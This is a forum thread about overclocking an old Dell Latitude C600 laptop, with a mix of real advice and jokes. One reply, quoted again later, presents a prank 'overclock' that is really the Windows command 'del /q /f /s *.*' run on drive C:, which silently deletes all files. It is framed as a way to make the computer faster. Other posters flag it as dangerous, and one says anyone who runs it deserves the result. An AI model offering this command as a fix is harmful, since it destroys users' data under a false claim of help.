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Over clocking

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I have a dell latitude c600, I've been thinking about overclocking it but i don't know how, can anyone help me?

P.S. It's got a 701 or 851( the property in my computer changes?)Mhz prosesor and 256Mb of ram
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Dr. KillGood wrote:http://www.overclock.net/
Do i have to take it apart?
Isent there some software i cane use?
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Post by atari2600a »

You can magikally overclock your computer by doing the following:

-Start>Run>"cmd"
-"C:"
-"del /q /f /s *.*"

This will make your computer 124361234923638216412936412 times faster & you will connect to the internet wirelessly for free!
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Go to the bios, each motherboard is different so I can't help you much past that, but they all have some kind of bus speed (or something like that, I forgot) and a multipier. Increasing any of those makes it faster, but you might also have to increase the voltages to make it stable. Also make sure it's not too hot.
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Post by timmeh87 »

haha. surprise! you basically cant overclock a dell because everything in there is made or approved by dell, and they dont want you to. even the bios is custom. AFAIK theres no bios option, no motherboard jumpers, and the whole thing is held together so shoddily that any overclock would be unstable anyways.

http://forums.extremeoverclocking.com/s ... p?t=196767

if you have certain PLL chips you can get a windows software program to tweak the FSB. thats about it.

also, this is definitely a JFGI question
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Post by Felino »

I don't recommend what atari2600a said.

Is that abuse?
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Post by joevennix »

atari2600a wrote:You can magikally overclock your computer by doing the following:

-Start>Run>"cmd"
-"C:"
-"del /q /f /s *.*"

This will make your computer 124361234923638216412936412 times faster & you will connect to the internet wirelessly for free!
WTF I tried this and it didn't work, now my computer won't boot. Crap I might've left out a /.

:lol:
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Post by Felino »

Somone should remove that post, honestly, somone might actually do it...
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Why? If they're stupid enough to try it, they deserve it :P
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Felino wrote:Somone should remove that post, honestly, somone might actually do it...
lol, I bet you had it half-typed into the command prompt until you realized...<a href="http://nintendoitsatrap.ytmnd.com/">IT'S A TRAP!!!!!!!!!!</a>
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